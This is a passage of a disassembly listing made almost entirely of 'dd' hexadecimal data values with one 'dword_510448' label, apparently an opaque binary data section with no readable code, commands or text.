0FC5EA70Dh, 721007Dh, 93C8D7A6h dd 3380C567h, 0F411885h, 0EDD8E16Fh, 0E8EFF700h, 0B6076DD1h dd 27660005h, 0A9102E7Ah, 0D5034CAAh, 781A6412h, 3F15B86h dd 0FCE89A4h, 0B78C66A0h, 0E509F178h, 23C52294h, 0B10A406Ch dd 1180DA17h, 1842BAC0h, 0D70554EBh, 0ED1A66FAh, 0EC68880Ah dd 163956C0h, 2228462Fh, 3EA60F60h, 9E002A39h, 0AD2ED986h dd 0DB468490h, 36112B02h, 23313BAFh, 1122BF10h, 0F114C600h dd 5A128051h, 0F3E151Bh, 0D1008C64h, 3FD9A240h, 0C700B07Eh dd 4CC384B5h, 90CC45F8h, 40EB0050h, 0AC200BEFh, 22006218h dd 39DA6982h, 21C61BCh, 0F25FCBFDh, 33C04A8Ch, 3F0643E7h dd 0B24175DBh, 0D8D00189h, 0E64C1305h, 620EE0DFh, 342A81C2h dd 8943C040h, 29100CDh, 325410F3h, 1D4C4DB1h, 456381ECh dd 306286BFh, 5F002C23h, 6878FEFFh, 354486D8h, 777F0Dh dd 0BE21BA9Ah, 93011C95h, 32446D0Bh, 0F86C88F7h, 1DB55F40h dd 603B88Dh, 0F20F2C0Dh, 622AA8A9h, 0CB018844h, 48D5464Dh dd 0B6EF36B2h, 421A1919h, 20854993h, 0A72860F4h, 7921FC14h dd 3929815Bh, 63302F15h, 310580DCh, 0DDCA39h, 89954FA4h dd 712C8E17h, 7BE1D500h, 3E7DF486h, 1DE605DFh, 8C034763h dd 28C23BCh, 7801FE7Ch, 1619DEC0h, 0FF740017h, 520186A2h dd 8EB8975Bh, 8980AD44h, 0E25E3D47h, 89399333h, 0FB2B1FF6h dd 0B09C7214h, 5BD4F06h, 0F3693F5Eh, 0C800CB59h, 1664C0EBh dd 0A2003437h, 1E619658h, 362A92h, 0C6F088D6h, 0F8BB3D91h dd 94807126h, 0C9813803h, 508800F2h, 4FC7B74Bh, 0B8005462h dd 3D6341BFh, 7BCE04Ah, 7C80DE9Eh, 54A9A046h, 0E1757ECBh dd 0E2EC9200h, 0F08DA478h, 253A0395h, 6BCC5EEh, 46A026ABh dd 0B701D814h, 72115E36h, 2EF039C7h, 55CE00C1h, 91CABB5Dh dd 9D074F17h, 0F7BFD3C5h, 25B6E110h, 0F7C00A7h, 94B2DD48h dd 5B070AB5h, 0F5BB9263h, 8589A0A0h, 6D8F017Dh, 4250F224h dd 0EF808030h, 0AAE54520h, 7DEC9Ah, 0CD5B4C22h, 5F4D7B55h dd 71091104h, 0CC6A9E2h, 30A340C0h, 1EB13E40h, 805C44E4h dd 0FD4811B0h, 9E8ADA2h, 9DB70A00h, 645D50CEh, 0F27E03Eh dd 0D6962CE3h, 82C92A00h, 330048F7h, 0E2E1EA63h, 3E36B859h dd 7C8095F5h, 0BB91DC4Dh, 0F001215h, 4B06CB3Bh, 0E187DAh dd 6848CA2Eh, 0AAB3376Ch, 0B1242900h, 89C0CDFCh, 81820C94h dd 941BCC6h, 1D16600h, 0E926C527h, 65200CAh, 0E4D8A54Eh dd 27D0D4Ah, 0ABB9603h, 912C395Ch, 0A0405925h, 188C12ADh dd 0C0033358h, 0D9718DD2h, 0E01C34Ch, 422F72EAh, 80B21F21h dd 0D4DA9C80h, 0F1FC0093h, 2D340B7Eh, 0BB3ED958h, 433A9F3Fh dd 3E756607h, 60F8F481h, 99D07DC5h, 28AF1E58h, 42C580E4h dd 74E36F41h, 248EA916h, 0C17AC900h, 7CF148E2h, 8540C097h dd 314A2CA0h, 0B62A7001h, 88FF838Eh, 0F40A4A8h, 1C98E009h dd 66B74C20h, 0F3009DFCh, 22F8C928h, 5DCE04h, 236CA45Fh dd 0AE65BFBEh, 0F17AC700h, 0C9536D35h, 0D525074Ch, 226313h dd 0EEF91417h, 0CFC33200h, 4E05D192h, 0F40C1A7h, 0C608202Eh dd 0D6134740h, 4D44100h, 36C5946Fh, 277C9Ch, 0FEDD1EE3h dd 57C20D88h, 0E737E800h, 1F2624B6h, 0D2733F4Ch, 0D487A4h dd 7020B9Dh, 51982380h, 89D60938h, 0C70D72h, 1540B1ADh dd 1045006Fh, 0A3832A17h, 1F0BD23Eh, 31A0B38Eh, 570105Ch dd 5CC359AFh, 0D2963B88h, 47A96C02h, 4864FBh, 960725DBh dd 3D5EFE46h, 6D4D8101h, 8BA57BF8h, 458F3980h, 98419D92h dd 0E603F702h, 0C18C397Eh, 1518D59Ch, 0CA74112Eh, 0C9404021h dd 964112Ch, 0C8EAF67Dh, 0E9420CCFh, 0D4E61061h, 21F4DC43h dd 7DA9F20h, 36FE7200h, 0BE0E4C96h, 5B090073h, 17F52FFFh dd 1203B73Eh, 4A82FA37h, 113DA136h, 0DCE2087h, 851DC016h dd 7D1C7B31h, 3E115EB5h, 0F1BADE0Fh, 0D6CD8420h, 0B4005CF9h dd 90CB349Bh, 8AD8D7h, 436DCC76h, 0FFF8098h, 0B68F091Eh dd 4E083800h, 0FD6FD85h, 0B07B7A25h, 2D3D7F60h, 700B802h dd 0F3BABC0Dh, 3D64568Bh, 18BAD5E8h, 6AFF540Eh, 960F80D8h dd 0DAF64F1Ch, 4A97F500h, 3FDBFCD9h, 7700D3CBh, 659A8C43h dd 5300900Ch, 58F47D91h, 0CB8F25h, 0E00520CDh, 8E046DFBh dd 24EDFCFBh, 0D107DB00h dd 8C535291h, 307EF435h, 371BB15h, 70E976E7h, 79016B69h dd 0EFB65190h, 81D4A291h, 24C603B0h, 3AEB368Fh, 0BD5C6CA0h dd 0FB067500h, 0D9640A9h, 1CEC0A44h, 88CFB3h, 4233285Bh dd 0FE00C9C7h, 7AA0F1D4h, 0C1EAEBh, 29F9555Eh, 0B51AD60Fh dd 57988103h, 15A28C4Eh, 0AC863191h, 5E3FA300h, 0DF946054h dd 16A15107h, 0B770489Fh, 0B093E439h, 438E00F6h, 1FF89925h dd 6A03CDD4h, 9C30E9C6h, 0A705D922h, 5C9BC5C8h, 0A57B4D47h dd 5B17D504h, 0E415400h, 0F85785DEh, 19C30024h, 0B24C9950h dd 4700893Eh, 0CAD853BBh, 3876F59h, 23B3559Ch, 293F1F25h dd 646C556h, 11EB4229h, 0A086581h, 1E0894E5h, 84BF90F9h dd 6E4460B1h, 0C5DF44E4h, 5686C342h, 38421560h, 3599EF00h dd 0A7C223A3h, 0A64E00B0h, 9EF69B6Bh, 9600B551h, 0E76F88F3h dd 0F75ACh, 0A88D0BF9h, 454F6A22h, 66058600h, 2E65E79Dh dd 75AF0070h, 10BECB0Dh, 8D009FEFh, 0B3F6CDFAh, 0D6FF46h dd 2B248FC2h, 43D7B75Ch, 2910370Fh, 0AA95C19Ch, 28E0597Ah dd 0E17D00F3h, 774EA85Eh, 0A30039B3h, 577854E3h, 3806C11Fh dd 0B7B277Ch, 0CC535695h, 0E698C00h, 0CB3AD82Ah, 34058384h dd 0B82F1459h, 7CB4A7h, 0B6467A12h, 0CC6BAA37h, 8F805001h dd 0ADF9C459h, 4C931430h, 0E0404B88h, 0D754009Ch, 0FCE044A4h dd 37077F84h, 72F5839Dh, 8FF2F330h, 73200002h, 5BC61C58h dd 4A246A92h, 3C00DA62h, 228D9D96h, 5F673D88h, 27822B8Ch dd 1A00E048h, 60E7753Fh, 81EB8Eh, 0F2AAF7D5h, 0D1ED4E10h dd 0AB907300h, 5B9F05C8h, 0B4800097h, 7F6920EAh, 3901A418h dd 5FC96B60h, 40209EFFh, 174600C4h, 0B67AB82Ch, 61858C7h dd 0F370FD9Ah, 3C6F002Eh, 8CA8E910h, 500072D5h, 92203722h dd 0FD412C3h, 4BD16C1Bh, 0B9EAEDC0h, 33008338h, 0AA564EF2h dd 8BF595h, 4D35D367h, 14850525h, 9901D7E4h, 9F59E727h dd 13C47E24h, 6EBF00A2h, 73E60EC3h, 1A14B950h, 0A974DDh dd 0F72DF47Bh, 1B7AA9h, 9F26F9D5h, 7DD76EA3h, 0C30001B0h dd 0EDDB2D13h, 9A8C496h, 0D3A639AEh, 0C8F79180h, 46F6786Ch dd 0C933E31Fh, 0FF050078h, 7094E8F5h, 25A01442h, 7C00E0CFh dd 49BD8B55h, 523D33E4h, 0BEC3803Eh, 606A2417h, 0A8007CFh dd 0B0DB6381h, 0DE45DC7Dh, 0D8B18900h, 5D9BBDFFh, 75950018h dd 0D5EA7298h, 70903BA7h, 0CB03DD7Eh, 0CE77BE79h, 0A8508B24h dd 1871ED1h, 27E9C05Bh, 43D770A4h, 6B021B4h, 7C0078B8h dd 0A13D80A6h, 0F10C5Eh, 244C9BA2h, 0E75DE512h, 0BEF6260Bh dd 0B6C9063Ch, 0E4520030h, 9DEEC246h, 9E07FB04h, 4A6C9508h dd 8178E5E0h, 330F0002h, 0D9A9085h, 0E8FCDAFEh, 6472F100h dd 0A091880Ch, 0BCA100C6h, 0C303D9F7h, 0DD01B81Bh, 1D15BD8Dh dd 9D60C8E5h, 0A8F03D4Ah, 4153D61Dh, 454BBFFAh, 0C01DDD27h dd 801D8F11h, 0E500B516h, 60064341h, 0A3A60B78h, 5DE249h dd 0C4A15ECh, 0CB8800FBh, 4E67D895h, 0B800E890h, 9E944C96h dd 3C16481h, 0F2770BADh, 6298C395h, 4500D451h, 802E6CCFh dd 108281h, 0D54C0AE4h, 0DBA20B07h, 8498E000h, 70161712h dd 6BDA0EF5h, 76831014h, 0D6A87F35h, 530EE7E5h, 876765C7h dd 38C0F6B5h, 62A90Ah, 0B836EF14h, 988B3AEAh, 0FBDCC900h dd 5E27301Ch, 8819007Ch, 6D4D5BEBh, 7500B916h, 6090BAD1h dd 9202Dh, 27D5D23Fh, 0C7D4C69Fh, 3B23A003h, 0E82F17E6h dd 109E7Ah, 667D5D5Eh, 0C8BA506Bh, 2D110801h, 9C8DA3C3h dd 385020h, 12E6826Fh, 91BAEAFEh, 652CD900h, 0ABD6CA5h dd 935F3A70h, 44F35180h, 169FA1F2h, 0B3FBD100h, 55CFDE0Bh dd 576200F7h, 0DF27042Ch, 0BF0ACD6Eh, 0AC385B67h, 0B500D813h dd 0F0E4ECEh, 3F3C00AFh, 0DB595303h, 2C00F892h, 0E2C879B7h dd 1F665CDDh, 809F13F7h, 767DC449h, 8B008FE4h, 0A8E68946h dd 0E19233h, 95F87C1h, 2B1395F6h, 89EB3B02h, 0E028D3E3h dd 311CF34h, 0BA254EBBh, 71B054A8h, 0A7782D2Fh, 0B14AF0E7h dd 0C494000h, 0A903C9E2h, 0EC7DC1h, 0C6BB87BDh, 810E9D75h dd 39006F71h, 3693550Fh, 7F4CAF31h, 51A10058h, 287BF3E4h dd 7D00DBD9h, 6AAA6CB7h, 31E05Ah, 4858B91Ch, 950A027h dd 7089D300h, 3C1AF7EDh, 55C246Bh, 0DF5D0B7Ch, 446080FFh dd 3BC264E9h, 571D2D18h, 0FEA40075h, 1C25D9D1h, 301A701h dd 477B9236h, 9DEE8C8h, 3CCB3244h, 765FA900h, 4900B579h dd 6BD6B663h, 4987264Ah, 6A03F48Ch, 5244E29Ch, 0D321CCA8h dd 42E8C60Fh, 0C07BCF5Fh, 4BBA6F2Ch, 0FB67031Ch, 21EC0D46h dd 0C9DAB400h, 14C30231h, 809201DDh, 9BD189C0h, 107A301Fh dd 0BDA63500h, 4821F846h, 98230F38h, 316C06CBh, 0F701D0D4h dd 61EB81BAh, 12E8EEB9h, 995A01BBh, 6A8B0FBh, 0CA2ED024h dd 0B28E0500h, 162201BCh, 83F2055Ch, 81D27775h, 0E0CEB7E9h dd 84006025h, 0D7BB0A73h, 986C3Fh, 5CBE2B5h, 6A74C733h dd 411D2300h, 0E1F32BB9h, 0CDD005Bh, 29647E10h, 0DE1F61A2h dd 873EC9F0h, 0D2B1BCDh, 635D95C0h, 3F6C0714h, 0E04565C0h dd 773A7ABBh, 65A4800h, 0DB2BC282h, 91392D66h, 20208DCh dd 81BCAB18h, 63019F94h, 0FA09660h, 24CB0B5Bh, 0EAF86560h dd 20FCD47Dh, 0AED98F07h, 6F0072B7h, 0C2C71h, 1E76FA08h dd 9E93EF58h, 184C31Eh, 5BBF2840h, 0FA9471h, 981D2B97h dd 237F3BB3h, 0AFB48F00h, 9E209A91h, 37473FBh, 813A28A7h dd 0D8030D9Dh, 2B4F4684h, 0D81102C2h, 431E1660h, 23103960h dd 3FB43901h, 85D1269Eh, 0E0DAC852h, 4F11054Bh, 3DA87Eh dd 40E8E2DFh, 74BCE5h, 50202624h, 7D137C3h, 0CB54EC00h dd 1CE805Eh, 468900B2h, 813140Ah, 1E00CA31h, 97DA55D1h dd 0B94A4h, 0EAF0D422h, 72B2A2F2h, 0A0011307h, 1E44A6D2h dd 0D14067C0h, 0F0C800A1h, 0F1CD22D8h, 9400BEF5h, 0EFCD6DAh dd 1998C4h, 107D6086h, 1318690Ch, 89676C00h, 36268EDDh dd 0E9DB0FCCh, 28E040DAh, 0BD09FDD3h, 16B57D00h, 69338ABh dd 0E170F30h, 5380E9C6h, 0CFBFC552h, 168F590Fh, 7FD9E03Dh dd 0F37C27h, 100AB3C6h, 494D70AAh, 7537A214h, 6AA600BCh dd 0A043F72h, 0E19500D2h, 45F15601h, 5E03B902h, 8597201Ah dd 0E34B8EFh, 79950058h, 5DD6AF6Ch, 9C0F9640h, 606D53B8h dd 3FCD7BA0h, 7F90C6h, 394569F2h, 3E370F84h, 7B24757Dh dd 803BD01Bh, 0EEBA154h, 3AAFEE0h, 4262D689h, 1CE0DDC2h dd 113FFD7Eh, 197F8030h, 4564902Ch, 0D71B0083h, 0E3299955h dd 0F300787Ah, 0B0392718h, 1EF7EE70h, 47ED938Ch, 17D52E97h dd 809D07D6h, 827CE2F6h, 73D83Ah, 4BBE9C4Ah, 1CF81BC1h dd 40673889h, 9AE1C010h, 2490F348h, 2997540Eh, 89BE603Ch dd 0AF5E16h, 0D2227F43h, 6B41CFF6h, 2D24567Ah, 310030A3h dd 9617C2E7h, 33AB01C7h, 52FF04D8h, 63C8CB9Ah, 0C94892E0h dd 6FA51FECh, 5638FA40h, 6C04C5h, 1C11211h, 1517DE3Ah dd 9E554B00h, 0FB2DDBE7h, 36063A85h, 0B66213h, 11E8613Eh dd 0F20414A6h, 981C24F1h, 1EC28490h, 4A9700C5h, 0E2896656h dd 0F009C07h, 75245894h, 9265E5Fh, 2A1A7428h, 30087807h dd 321F444h, 0F2124805h, 80009DAEh, 66351C52h, 3CCD0043h dd 4623EE89h, 0A8981044h, 0F6A07000h, 569E4E8Ah, 0EB170174h dd 0B47501C8h, 8DCCE42Ah dword_510448 dd 0D6603D75h, 3A7A819h, 35DD18ACh, 1D1360F5h, 436DE703h dd 0A88DA6DBh, 18357F2h, 254F6E55h, 40D8D023h, 35DB52ACh dd 300B8C07h, 215019B3h, 3F0F17h, 396EBB80h, 57E5BCC8h dd 55514700h, 22BEFC7Fh, 0FFA20106h, 0D002F82Bh, 205E71DDh dd 56F8EF80h, 92FC5E03h, 0C0C20AAAh, 4FEBF7h, 8A6328Ch dd 0B4A56235h, 1AFECFE6h, 9C041100h, 0AEA1EBAFh, 1AA7B3Fh dd 45CDD43Ch, 0C0F52341h, 0AB60ECE5h, 3D9569BCh, 0C6BF001Ch dd 10CC4919h, 3005602h, 5184FBC5h, 0ADCF63h, 0F2DAE23h dd 0EF062A13h, 80C6816Eh, 0DE98FFF8h, 0D88E00D1h, 6EF95AE0h dd 73F8CB22h, 0F1FD5902h, 40576C68h, 169CC5FFh, 12829441h dd 1DE001F4h, 0DCB16A54h, 0B30065B5h, 91F50C4Fh, 498951h dd 2DD7CB0Dh, 0B5D8ABC0h, 489BEA00h, 9E63FE74h, 0E9B834h dd 1F04F259h, 7FF9CDE5h, 19CBDF07h, 7D10216h, 34C4B847h dd 0C15A3839h, 9A69428Eh, 96B946C0h, 0C607CA4Fh, 632E4A71h dd 88B77970h, 0E777071Dh, 80751FBBh, 3AAABD5Eh, 0D651D900h dd 0E1EB4799h, 0AD3B0026h, 0F2589036h, 7C00F0A6h, 0AE609EEFh dd 604EAC45h, 0BC48800Bh, 100097B3h, 0C62B3729h, 54E84Dh dd 3EF1346Dh, 0CD314526h, 3C14CB0Eh, 7E508167h, 0FC60330Fh dd 481480Dh, 0E2AE603h, 0E9B067ABh, 0D801B187h, 6E533D6Fh dd 0EFF05F05h, 8862006Ah, 5A801E6Dh, 0E600D504h, 55493310h dd 72C6EF92h, 442000EDh, 947D90FEh, 6A048A04h, 365AEE4Ah dd 0F158A5C3h, 1B20B0FAh, 2087003Ch, 0B9A5CC19h, 5D0731C7h dd 0A3F77EABh, 41C80039h, 1A7B070h, 1226E468h, 975E7Bh dd 0D42031h, 759490F9h, 0E4303E11h, 0EBAD3600h, 7A577D9Ch dd 2D68004Dh, 0D0449F55h, 0AF00CCE9h, 8533FB9h, 4CD688CBh dd 8400F86Ch, 0D980D24Bh, 0B200FB70h, 0ED747FDAh, 8CCDDBh dd 0A35F1E4Fh, 8554102Fh, 8B28D13Bh, 9DCFA0h, 5DB9DFC4h dd 92FF809h, 0F2664043h, 252D080h, 7800C4BBh, 0A06731FAh dd 724102Bh, 54087E43h, 0EB304090h, 0C400E629h, 687539C2h dd 1B1DE47h, 22411609h, 0C07CE743h, 0A83ED064h, 0B7778018h dd 461A2A4Ah, 0FBCB00AAh, 2B655A9h, 1259BF90h, 25FD0784h dd 33C05911h, 5807B062h, 7600703Bh, 0D18E025Ah, 6500E6B5h dd 416A53B4h, 24F296h, 8490A6F4h, 274C7EE4h, 48A8B700h dd 4A3FAC0Ch, 25F03B6Ch, 7CE94D02h, 50C07409h, 70B0C494h dd 5FB60200h, 0F377DEF7h, 5BFB00D7h, 0C3D540E6h, 0C4008F14h dd 0EDEC03F0h, 24CC7A28h, 7000692Ch, 0AC001837h, 0AFF74285h dd 0E2230F65h, 0BED50729h, 682FD2h, 0E65EAC4Ah, 4013578h dd 8AC35540h, 2C21DCBEh, 73DEEFE0h, 19A0082h, 0A828F4B7h dd 0BF09FB7Ah, 0D39E5Fh, 0DC9BB818h, 6D220B39h, 0C40C1A04h dd 9800683Ch, 0A71BD02Ah, 0A28F641h, 4246357Eh, 678B3D0Ch dd 48009ACAh, 781F29D8h, 63471D00h, 870473FDh, 21A16039h dd 6214727Ah, 26ED9400h, 0C87F9241h, 0AFB031h, 99B4F0Ch dd 12784E1Eh, 0B3B8A45Eh, 8495ED07h, 30652233h, 1AF0E4C0h dd 86BDA200h, 0E70249DCh, 0BAD20037h, 7457198Bh, 0D51D5945h dd 3580F4CFh, 0F753F6BBh, 0F57D17A5h, 8C0F1041h, 1046B600h dd 0F36FBE9Ah, 34997A07h, 86005E47h, 0DF63AEh, 0EE248D58h dd 95C5C1DAh, 0BCA1D517h, 0D1058840h, 23E34Ch, 4D36F158h dd 52CE9237h, 5CD60100h, 85033069h, 3CF3241Bh, 0FDC2018Ch dd 40798D17h, 0CACBC0B8h, 8A324C03h, 0F0768938h, 0A09DAF7Eh dd 14644094h, 8C91CA66h, 89F7551Eh, 0D0A03D78h, 5DEF25BAh dd 8F129C00h, 1024F38Ch, 8A7964h, 0DA4B9B2Fh, 523C2847h dd 0ACF85A1Eh, 357301C0h, 2A36F90h, 0EEF7AA4Ch, 3CC00682h dd 36002A51h, 0D527C047h, 71A22CF6h, 161F019Fh, 0BB11E2D4h dd 0E4F0DC71h, 0F115DE0Eh, 79805EEFh, 42F2806Eh, 3B760002h dd 6CB41BAEh, 7D00DCDAh, 55ED9D66h, 1EF36015h, 40C99E53h dd 0B4E525E1h, 5A00200Bh, 4EEB0928h, 11ED5EAh, 89D34F22h dd 0F03AA4A1h, 0CE1DAF43h, 0CD81F198h, 5347FC29h, 2FFAD0C3h dd 0DECA00A1h, 1461E28Dh, 0A409D33Eh, 741B5Dh, 7087424Bh dd 4C4A00E8h, 684E01Ah, 98F6B0BDh, 767880E9h, 0F86F297h dd 882C024Eh, 587A1BF4h, 27B00C60h, 82532600h, 0EF19302Fh dd 6B3900FAh, 1E670ABCh, 0DD00DA11h, 0E5E1A261h, 0F0FD77h dd 99472406h, 0A3E2329Eh, 2FCBC700h, 3DBCB9B1h, 96AF0186h dd 9369BA1Eh, 2659EC57h, 0A6CC70F5h, 193C6217h, 535200BEh dd 4BC4DC0Eh, 0F4300CB0h, 92A810FBh, 40AF7832h, 0B40C2AE3h dd 20F1BA06h, 167C7D3Dh, 0E5C7B3h, 0F81C4308h, 1A04C0A5h dd 0B43C4998h, 23F5CA0h, 0CB9CD76Fh, 9CC013D9h, 4302F0F9h dd 0BB671C5Ah, 3B80813Eh, 31B0F47Ah, 90A1E499h, 1D00DFE8h dd 3A13BB6Dh, 7E3FB166h, 0D5C50588h, 0C6E88462h, 59009881h dd 3CCF21B3h, 0F0A454Dh, 0BDE4BBD3h, 7CC7360h, 0A81ECE39h dd 84C3446Eh, 0D094B6EFh, 0FC96A79Eh, 9AC598DAh, 490D18Ch dd 6F4EF4ECh, 0A5432400h, 39A00A31h, 278F753Ah, 88CB0172h dd 119FD283h, 871F6BE0h, 3E54B03Eh, 0FDCF0F42h, 0ACA1809Ah dd 6014057Dh, 3C4859E3h, 2627CEDh, 10361D50h, 73254DBEh dd 32BC03E7h, 85EC93EAh, 3070D800h, 961B9Fh, 1AD36A90h dd 0DC8CB19Dh, 0F7C1E30Ch, 0A866B9F5h, 803DF960h, 1130606Dh dd 98A559A3h, 12CF2CDh, 0F1961C7Fh, 503289B1h, 0FCAE0770h dd 0AA6A2000h, 3B706314h, 80AF3BE7h, 491F6D86h, 8800E88Dh dd 0D4A506FAh, 0CF11D3Ch, 381A4DBCh, 74399669h, 4CD611h dd 0F1656FA6h, 0E83BBA12h, 20B949A0h, 117C4F04h, 48709025h dd 7018CD82h, 0D4A8847Ah, 0C1FC9038h, 9E68CF38h, 4C1881CEh dd 127B990h, 97F0F3F1h, 0B4A580C5h, 2E15E618h, 151DB51h dd 35923B7Ch, 0C15C981Ch, 0B1F6D319h, 7C498A00h, 0A5463347h dd 0EC39504Ch, 88C00345h, 77AFB666h, 0CF20FB80h, 9C9ADF3Ah dd 0FA10BBC1h, 49CA1618h, 8E008659h, 50391317h, 17C9ECD3h dd 2F49607h, 66D24069h, 0B0009470h, 0DD3452CFh, 75BC360Fh dd 2F68CCB3h, 0B9C020CEh, 70F650FBh, 6E4808h, 0CD43FD03h dd 0A018C268h, 0F0109B44h, 0ECA1818Eh, 0A8C00282h, 0EA6E3EE1h dd 10B0A8BDh, 9A5803E8h, 2E56FC43h, 0A4909FEh, 0DF00014h dd 3BEE6057h, 38A349A8h, 8CE8A440h, 923DD480h, 0A41AE529h dd 0F0D795h, 0C37C47E0h, 394D6235h, 46810703h, 896FBBE2h dd 0F8D44054h, 5B006934h, 0B43295A3h, 0C08F30A9h, 283B75C0h dd 0E700CDECh, 745C5265h, 7D5B7h, 94733EA0h, 0E1D27CE4h dd 0B6108D00h, 8B03BA50h, 0C2530001h, 62A57A0Dh, 26003AA7h dd 0CB85EC4Fh, 759B4h, 0EB1BF608h, 31378633h, 0C6AF200h dd 0E8F45166h, 40CA0062h, 61205CBCh, 2100635Eh, 0F086A182h dd 9665A47h, 0E92ACFB7h, 37B3CC00h, 0B10F269Ch, 0EC1349h dd 650A502Bh, 14A800BDh, 5B4F8D9Eh, 0E007411h, 853B46CAh dd 71C42707h, 93A800D0h, 3995D5E2h, 70C15B1Dh, 0E0EF1273h dd 7EEA20FCh, 115F068Ch, 59AE5436h, 8670B0FAh, 80CAB63Ah dd 0FBE9829Eh, 1F7F618h, 13DCA664h, 0DCB8BA02h, 636A0438h dd 6007D0A1h, 0D8CCA8E2h, 3E0F0C5Bh, 0CD590608h, 0F203C3EEh dd 863C9558h, 0DA910056h, 82B2E2B8h, 38C064FEh, 71624F6h dd 0C78F0088h, 0CFD84A52h dd 6A02AEC9h, 6745A520h, 31B580F2h, 1934BA8h, 95D9367Eh dd 20E6E7B1h, 8D0027B7h, 0FC7735B0h, 60919AFAh, 2480083Bh dd 0F44CE886h, 264F008Dh, 41DFAE38h, 43BB018Eh, 0D32AC491h dd 0F1CF486h, 421B29C8h, 0B8241752h, 0C710CF22h, 1884882Dh dd 6D085C89h, 22F3F420h, 45502573h, 31841028h, 0FF29F73Ah dd 52BE002Eh, 806400C6h, 0C3A169E0h, 190089C1h, 5B6F545h dd 0DDAD8Bh, 0EEB3262Dh, 15EC2BFAh, 862F9E00h, 32F5E5ACh dd 0C29700DEh, 9373F20h, 0E600A441h, 5E26C674h, 713EF9h dd 0AC20D386h, 915790CFh, 3CEE6B00h, 0D15EB9EBh, 0F451F3Fh dd 7264C0C8h, 0D93B65C4h, 0D3B16807h, 4150C087h, 938E75h dd 0BC85CB44h, 0BB96FDB6h, 36BCFC50h, 33CE0800h, 9B3E3DA0h dd 8D890087h, 88636604h, 1B006BC1h, 98EE7FC7h, 1F3DB9FEh dd 4039F65Fh, 0F4B3E8A2h, 5703328Dh, 0B8A1FBB2h, 3C000F2h dd 1C08302Eh, 1A00AD8Ch, 0D1187855h, 18B6A239h, 88BAFF86h dd 970043DBh, 0E0C1809Ch, 54601Ah, 0EF6DF0C2h, 5EA0F30Eh dd 0E4C68800h, 44AB0A4Dh, 0FC5A00A8h, 8EEAADB5h, 0B1005069h dd 0F7B9C92Eh, 16C78802h, 35E5412h, 44CA06B4h, 0C32BACB8h dd 0AB1CFF06h, 0EA30985Ch, 63350039h, 34E42D62h, 0A43A74F3h dd 0BF8880CDh, 0B8F8720h, 0F855001Dh, 0AA02EAB4h, 79072AC8h dd 9589A87Dh, 0EFAF88E0h, 0D9DA0174h, 0E4606A7Ah, 5AAC404Ah dd 0D1052A64h, 0B503C462h, 0C96E8840h, 716FC289h, 51EE06E9h dd 1ED0DE02h, 23304A00h, 69C37752h, 0ED9D0072h, 4D3E9305h dd 0A70E5D35h, 60A5B1A8h, 5473D4BCh, 3C3300FAh, 4C9FB5Ch dd 0AF006819h, 5A0B7B3Bh, 0AB31B8h, 7F8DCC07h, 83FBE8DAh dd 39663Dh, 7EC487CFh, 0E94D82h, 10F5FA5h, 89B77073h, 308FB900h dd 5C0B34CEh, 130407AAh, 38CC32h, 4F536FE2h, 2372061Eh dd 63D480FAh, 0DB03EDA6h, 0EE8E0084h, 94688DCFh, 0E8046D38h dd 0FBBF5628h, 73DCF890h, 3A040082h, 6AEFD73Eh, 0ED03CA7Eh dd 0E4CD0FC8h, 0E8E80032h, 36A8C92Bh, 5F5CB31Ah, 415900A8h dd 0CD31C3E0h, 0E53A00FBh, 0C826207Eh, 5A00F42Eh, 8C872485h dd 1CA5CAFAh, 4CDC2C7Bh, 0A710C7DBh, 0FFB8E300h, 11969B8Ch dd 3DEA000Ah, 9277F843h, 34036AFDh, 2B855E3Bh, 0B406A89Dh dd 0F5DB00C2h, 0D89944F2h, 0A07E32ADh, 1D4BAB00h, 89FF711Ah dd 30BC73E3h, 0E220DABBh, 200269Dh, 7391B2CDh, 8D29C7h dd 4A6662Eh, 2BBA1D8Ah, 0FA06B800h, 9CA1C9D3h, 93230405h dd 875B1345h, 0F2D050F4h, 0C7000D6Ch, 5C3A4416h, 28D9D432h dd 48E87037h, 0A013047h, 0DC625821h, 0FD4C8179h, 397B80DDh dd 3A7FCE60h, 0E2839D60h, 0FAA06E09h, 1080DBB8h, 93CBD900h dd 3D6DAB99h, 8E4A07D6h, 6086451Dh, 78A58C01h, 7448E3E6h dd 92BB0030h, 0AE04E45Fh, 5C17001Fh, 50ADF3D5h, 70388AE3h dd 24D72403h, 0FFB4AF00h, 0A62706h, 0AC2C2885h, 0CB2D1AB7h dd 4F19BB00h, 0CC0ED542h, 9F7B00C8h, 52673C39h, 0FB0097B6h dd 0DE2A6115h, 708A5D5h, 0DB69C940h, 8E669035h, 370F9583h dd 0A0AFFEB0h, 8BDA4DD3h, 81FCF3FCh, 0D0E47Eh, 0BE9B4632h dd 87A4E7F2h, 0F0096E2h, 70D6619Dh, 95212Eh, 5294FDD5h dd 806DDC04h, 5E4D000h, 0F0A862DDh, 0FCDB002Ch, 0D53A5F0Fh dd 0AFF2116Ch, 0CB37E218h, 67B6BAh, 50F885B3h, 91353C4Ch dd 65AD1A03h, 0CF3A942Bh, 4AC860DEh, 7D31501h, 24EF5F04h dd 0B67BD06Dh, 18EA5BB1h, 3DB71300h, 5C8434DAh, 9DB000FDh dd 0D39FB9B5h, 3E07D9F5h, 0E7F0EA67h, 0FCA9276h, 0ACE3AB78h dd 80064464h, 0D481427Dh, 0B61EB800h, 0FD7D409Eh, 4F160098h dd 0AFBCCB96h, 6491B76Bh, 0F5B90Eh, 418F3F97h, 98000F7h dd 81DA2120h, 0A0001605h, 0B2DEC7E8h, 16BB667h, 0B8C03BBDh dd 80CC5862h, 0EB95345Eh, 5DC728h, 0E28E8A90h, 64A3F8ACh dd 75623600h, 0ECA604EDh, 0AEC50298h, 0A0B54387h, 0B0C044E3h dd 7400A9C7h, 0E869794Dh, 0F509D57Eh, 809BC0h, 9005F11Ah dd 332EA5CDh, 4D814402h, 607776A8h, 0FA9804h, 59468E99h dd 4956B3EFh, 32F60300h, 966E44Ch, 5A471F4h, 200C4B46h dd 0CD80810Eh, 0A3FF2040h, 0D1FB1700h, 4202C143h, 0BEFC0280h dd 0D6BC725Ah, 33A430C0h, 5590A100h, 0FC0FA56Ch, 0C7EE0345h dd 0A9F7071Bh, 0C175F8C8h, 0DE4CED00h, 0FCB5D1A4h, 0D96207FEh dd 0C97D0E5Ah, 0A3756780h, 0BE05AA0Ch, 498E69DCh, 7B693C0h dd 1C7CFA4Dh, 87BC0260h, 0A00DE32Bh, 9138AD63h, 14971600h dd 0A62E3C62h, 1F2A0060h, 0C9BED235h, 0CD754529h, 3498C00Eh dd 59570028h, 1C5CFh, 6C294F39h, 0D240E65Ah, 1F001AFEh dd 